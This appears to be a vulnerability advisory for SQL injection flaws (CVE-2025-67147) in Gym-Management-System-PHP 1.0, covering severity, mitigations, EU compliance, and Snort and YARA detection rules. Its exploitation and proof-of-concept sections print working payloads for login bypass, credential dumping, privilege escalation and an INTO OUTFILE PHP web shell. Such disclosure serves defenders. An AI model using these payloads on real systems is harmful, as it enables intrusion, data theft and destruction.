Comprehensive Technical Analysis of EUVD-2026-1915 (CVE-2025-67147)

SQL Injection Vulnerabilities in amansuryawanshi Gym-Management-System-PHP 1.0

1. Vulnerability Assessment and Severity Evaluation

Overview

EUVD-2026-1915 (CVE-2025-67147) describes multiple critical SQL Injection (SQLi) vulnerabilities in Gym-Management-System-PHP 1.0, a web-based application for gym administration. The flaws allow unauthenticated and authenticated attackers to execute arbitrary SQL commands, leading to authentication bypass, data exfiltration, database manipulation, and privilege escalation.

CVSS 3.1 Severity Breakdown

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Privileges Required (PR)	None (N)	No authentication needed for exploitation.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact confined to the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including sensitive user data.
Integrity (I)	High (H)	Arbitrary data modification, including user roles.
Availability (A)	High (H)	Potential for database deletion or corruption.

Risk Assessment

• Exploitability: High (publicly disclosed, low complexity, no authentication required).
• Impact: Severe (full database compromise, administrative access, data destruction).
• Likelihood of Exploitation: High (SQLi remains a top OWASP Top 10 vulnerability).
• Business Impact: Critical for organizations using this software, leading to data breaches, regulatory fines (GDPR), reputational damage, and operational disruption.

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2. Potential Attack Vectors and Exploitation Methods

Vulnerable Endpoints & Parameters

The following files and parameters are affected:

File	Vulnerable Parameters	Attack Scenario
submit_contact.php	name, email, comment	Unauthenticated SQLi via contact form.
secure_login.php	username, pass_key	Authentication bypass via crafted credentials.
change_s_pwd.php	login_id, pwfield, login_key	Post-authentication SQLi for privilege escalation.

Exploitation Techniques

A. Unauthenticated SQL Injection (submit_contact.php)

• Attack Vector: Malicious input in the contact form.
• Exploitation Steps:
  1. An attacker submits a payload such as:

     ' OR '1'='1' --
     

     in the name or email field.
  2. If the application concatenates user input into a SQL query without sanitization, the payload alters the query logic.
  3. Example Exploit:

     POST /submit_contact.php HTTP/1.1
     Host: vulnerable-gym.com
     Content-Type: application/x-www-form-urlencoded
     
     name=test' UNION SELECT 1,username,password,4,5 FROM users-- &email=attacker@evil.com&comment=test
     

  4. Outcome: Database dump (e.g., usernames, password hashes).

B. Authentication Bypass (secure_login.php)

• Attack Vector: Manipulating login parameters.
• Exploitation Steps:
  1. An attacker submits:

     username=admin' -- &pass_key=anything
     

  2. The query becomes:

     SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
     

  3. Outcome: Bypasses password check, granting admin access.

C. Post-Authentication SQLi (change_s_pwd.php)

• Attack Vector: Privilege escalation via password change.
• Exploitation Steps:
  1. An authenticated attacker (e.g., a regular user) submits:

     login_id=1&pwfield=newpass' WHERE 1=1; UPDATE users SET role='admin' WHERE username='attacker'-- &login_key=valid_key
     

  2. Outcome: Elevates their privileges to administrator.

Advanced Exploitation Scenarios

• Database Enumeration: Using UNION-based attacks to extract schema, tables, and data.
• Remote Code Execution (RCE): If the database supports LOAD_FILE() or INTO OUTFILE, an attacker could write a web shell.
• Data Destruction: DROP TABLE users; or DELETE FROM users;.
• Credential Theft: Extracting password hashes for offline cracking (e.g., with Hashcat).

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3. Affected Systems and Software Versions

Vulnerable Software

• Product: Gym-Management-System-PHP
• Vendor: amansuryawanshi (GitHub repository)
• Version: 1.0 (no patches available as of the disclosure date)
• Repository: https://github.com/amansuryawanshi/Gym-Management-System-PHP

Deployment Context

• Typical Use Case: Small to medium-sized gyms, fitness centers, and wellness facilities.
• Hosting Environment: Likely deployed on shared hosting (e.g., Apache + MySQL) with minimal security hardening.
• Database Backend: MySQL (default configuration, likely with root-level access).

Indicators of Compromise (IoCs)

• Logs:
  • Unusual SQL queries in web server logs (e.g., UNION SELECT, DROP TABLE).
  • Failed login attempts with SQLi payloads.
• Database:
  • Unexpected admin accounts.
  • Modified or deleted records.
• Network:
  • Outbound connections to attacker-controlled servers (data exfiltration).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Temporary Workaround:

   • Disable vulnerable endpoints (submit_contact.php, secure_login.php, change_s_pwd.php) if not critical.
   • Restrict access via .htaccess or WAF rules (e.g., block requests with SQL keywords).

2. Input Validation & Sanitization:

   • Use Prepared Statements (Parameterized Queries):

     // Example: Secure login query
     $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
     $stmt->execute(['username' => $username, 'password' => $password]);
     

   • Apply Input Filtering:
     • Reject inputs containing ', ", ;, --, /*, */, xp_, LOAD_FILE, INTO OUTFILE.
     • Use allowlists for expected input formats (e.g., email validation).

3. Web Application Firewall (WAF) Rules:

   • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
   • Example rule:

     SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
     

4. Database Hardening:

   • Least Privilege Principle: Ensure the application DB user has read-only or minimal write permissions.
   • Disable Dangerous Functions: Restrict LOAD_FILE, INTO OUTFILE, EXECUTE, SHUTDOWN.

Long-Term Remediation

1. Patch Management:

   • Monitor the vendor’s GitHub repository for updates.
   • Fork and patch the codebase if the vendor is unresponsive (e.g., replace all dynamic SQL with prepared statements).

2. Secure Development Practices:

   • Adopt an ORM (Object-Relational Mapping) framework (e.g., Doctrine, Eloquent) to abstract SQL queries.
   • Implement Static Application Security Testing (SAST): Use tools like SonarQube, PHPStan, or Psalm to detect SQLi vulnerabilities.
   • Conduct Dynamic Application Security Testing (DAST): Use OWASP ZAP or Burp Suite to scan for SQLi.

3. Infrastructure Hardening:

   • Isolate the database server (no direct internet access).
   • Enable MySQL Query Logging for forensic analysis.
   • Regular Backups: Ensure database backups are immutable and tested for restoration.

4. User Awareness & Monitoring:

   • Train administrators to recognize SQLi attempts in logs.
   • Deploy SIEM (Security Information and Event Management) to correlate SQLi alerts with other suspicious activity.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR (General Data Protection Regulation):

  • Article 32 (Security of Processing): Organizations must implement "appropriate technical and organisational measures" to protect personal data.
  • Article 33 (Data Breach Notification): A SQLi-induced breach must be reported to authorities within 72 hours if it risks individuals' rights.
  • Fines: Up to €20 million or 4% of global turnover (whichever is higher).

• NIS2 Directive (Network and Information Security):

  • Applies to essential and important entities (e.g., healthcare, digital infrastructure).
  • Mandates incident reporting and risk management measures.

Threat Landscape Implications

• Increased Attack Surface:

  • Small businesses (e.g., gyms) often lack dedicated IT security teams, making them low-hanging fruit for attackers.
  • Ransomware groups may exploit SQLi to gain initial access before deploying malware.

• Supply Chain Risks:

  • If the vulnerable software is used by third-party service providers (e.g., gym management SaaS), a single breach could cascade across multiple organizations.

• Reputation & Trust:

  • A breach could erode customer trust, leading to churn and financial losses.
  • Insurance implications: Cyber insurance premiums may increase post-breach.

ENISA & EU Cybersecurity Framework

• ENISA Threat Landscape Report: SQLi remains a top threat in the EU, particularly in web applications.
• EU Cybersecurity Act: Encourages certification schemes for secure software development.
• Recommendations for EU Organizations:
  • Adopt the NIS2 Directive’s risk management framework.
  • Participate in threat intelligence sharing (e.g., via ECCC – European Cybersecurity Competence Centre).
  • Leverage ENISA’s guidelines on secure coding and vulnerability management.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerabilities stem from improper input handling and direct SQL query concatenation in PHP. Example of vulnerable code:

// Vulnerable code in secure_login.php
$username = $_POST['username'];
$password = $_POST['pass_key'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Issues:

1. No Input Sanitization: User input is directly interpolated into the SQL query.
2. No Parameterized Queries: Dynamic SQL construction enables injection.
3. No Output Encoding: Results are not sanitized before rendering.

Exploit Development (Proof of Concept)

1. Dumping Database Schema

' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -

Output: Lists all tables in the database.

2. Extracting User Credentials

' UNION SELECT 1,username,password,4,5 FROM users-- -

Output: Returns usernames and password hashes (likely MD5 or SHA-1, vulnerable to cracking).

3. Writing a Web Shell

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -

Outcome: Creates a PHP web shell at /shell.php?cmd=id.

Forensic Investigation Steps

1. Log Analysis:

   • Check Apache/Nginx access logs for SQLi payloads (e.g., UNION SELECT, OR 1=1).
   • Review MySQL general query logs for suspicious queries.

2. Database Forensics:

   • Check for unexpected admin accounts (SELECT * FROM users WHERE role='admin').
   • Look for modified timestamps on critical tables (e.g., users, members).

3. Memory Forensics:

   • Use Volatility or Rekall to analyze running processes for web shells or reverse shells.

4. Network Forensics:

   • Inspect outbound connections (e.g., wget, curl, nc) for data exfiltration.

Detection & Prevention Signatures

Snort/Suricata Rule (SQLi Detection)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt - UNION SELECT"; flow:to_server,established; content:"UNION"; nocase; content:"SELECT"; nocase; pcre:"/UNION\s+SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)

YARA Rule (Malicious PHP Detection)

rule Detect_SQLi_WebShell {
    meta:
        description = "Detects PHP web shells from SQLi exploitation"
        author = "Cybersecurity Analyst"
    strings:
        $s1 = "system("
        $s2 = "exec("
        $s3 = "passthru("
        $s4 = "shell_exec("
    condition:
        any of them
}

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-1915 (CVE-2025-67147) is a critical SQL Injection vulnerability with severe impact on confidentiality, integrity, and availability.
• Exploitation is trivial and does not require authentication, making it a high-risk threat for organizations using Gym-Management-System-PHP 1.0.
• Immediate mitigation is required to prevent data breaches, privilege escalation, and potential RCE.

Action Plan for Organizations

Priority	Action	Owner	Timeline
Critical	Disable vulnerable endpoints or restrict access.	IT/Security Team	Immediate (24h)
High	Deploy WAF rules to block SQLi attempts.	Security Operations	Within 48h
High	Patch or replace the vulnerable software.	Development Team	Within 7 days
Medium	Conduct a forensic investigation if compromise is suspected.	Incident Response	As needed
Medium	Implement secure coding practices and SAST/DAST.	DevSecOps	Ongoing

Final Recommendations for EU Organizations

1. Compliance: Ensure alignment with GDPR, NIS2, and ENISA guidelines.
2. Threat Intelligence: Monitor CVE databases, GitHub advisories, and EU-CERT alerts.
3. Proactive Defense: Adopt a zero-trust architecture and continuous security testing.
4. Incident Response: Develop and test an SQLi-specific playbook for rapid containment.

For further assistance:

• ENISA Vulnerability Disclosure: https://www.enisa.europa.eu/topics/vulnerability-disclosure
• CERT-EU: https://cert.europa.eu
• OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

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Prepared by: [Your Name/Organization] Date: [Insert Date] Classification: TLP:AMBER (Limited distribution to trusted partners)